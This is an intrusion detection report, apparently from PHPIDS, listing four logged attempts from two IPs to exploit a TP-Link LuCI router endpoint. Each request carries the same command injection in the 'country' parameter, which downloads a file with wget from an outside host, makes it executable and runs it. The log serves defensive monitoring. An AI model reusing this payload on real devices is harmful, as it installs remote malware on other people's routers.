Summary: 4 incidents discovered from 2 clients

	154.213.185.140 | 3 incidents | impact ∑: 81	attacks only
	Description: A targeted scan 22 hours ago. A total of 3 incidents where discovered by phpids detection modules.
Impact Tags Remote-City Remote-Host Remote-Logname Remote-User Date Request Final-Status Bytes-Sent Referer User-Agent 27 xss csrf dt id lfi sqli rfe - 154.213.185.140 - - Sun, 04 Aug 2024 08:01:25 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf r; wget http://45.66.231.148/r; chmod 777 r; ./r tplink; rm -rf r`) HTTP/1.1 302 773 - Go-http-client/1.1 0 none - 154.213.185.140 - - Sun, 04 Aug 2024 08:01:25 +0200 \x16\x03\x01 400 408 - - 27 xss csrf dt id lfi sqli rfe - 154.213.185.140 - - Sun, 04 Aug 2024 15:02:40 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf r; wget http://45.66.231.148/r; chmod 777 r; ./r tplink; rm -rf r`) HTTP/1.1 302 773 - Go-http-client/1.1 0 none - 154.213.185.140 - - Sun, 04 Aug 2024 15:02:40 +0200 \x16\x03\x01 400 408 - - 27 xss csrf dt id lfi sqli rfe - 154.213.185.140 - - Sun, 04 Aug 2024 17:03:58 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf r; wget http://45.66.231.148/r; chmod 777 r; ./r tplink; rm -rf r`) HTTP/1.1 302 773 - Go-http-client/1.1 0 none - 154.213.185.140 - - Sun, 04 Aug 2024 17:03:58 +0200 \x16\x03\x01 400 408 - -

	154.213.187.96 | 1 incident | impact ∑: 27	attacks only
	Description: A targeted scan 14 hours ago. A total of one incident was discovered by phpids detection modules.
Impact Tags Remote-City Remote-Host Remote-Logname Remote-User Date Request Final-Status Bytes-Sent Referer User-Agent 27 xss csrf dt id lfi sqli rfe - 154.213.187.96 - - Sun, 04 Aug 2024 15:47:09 +0200 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd /tmp; rm -rf r; wget http://45.66.231.148/r; chmod 777 r; ./r tplink; rm -rf r`) HTTP/1.1 302 773 - Go-http-client/1.1 0 none - 154.213.187.96 - - Sun, 04 Aug 2024 15:47:09 +0200 \x16\x03\x01 400 408 - -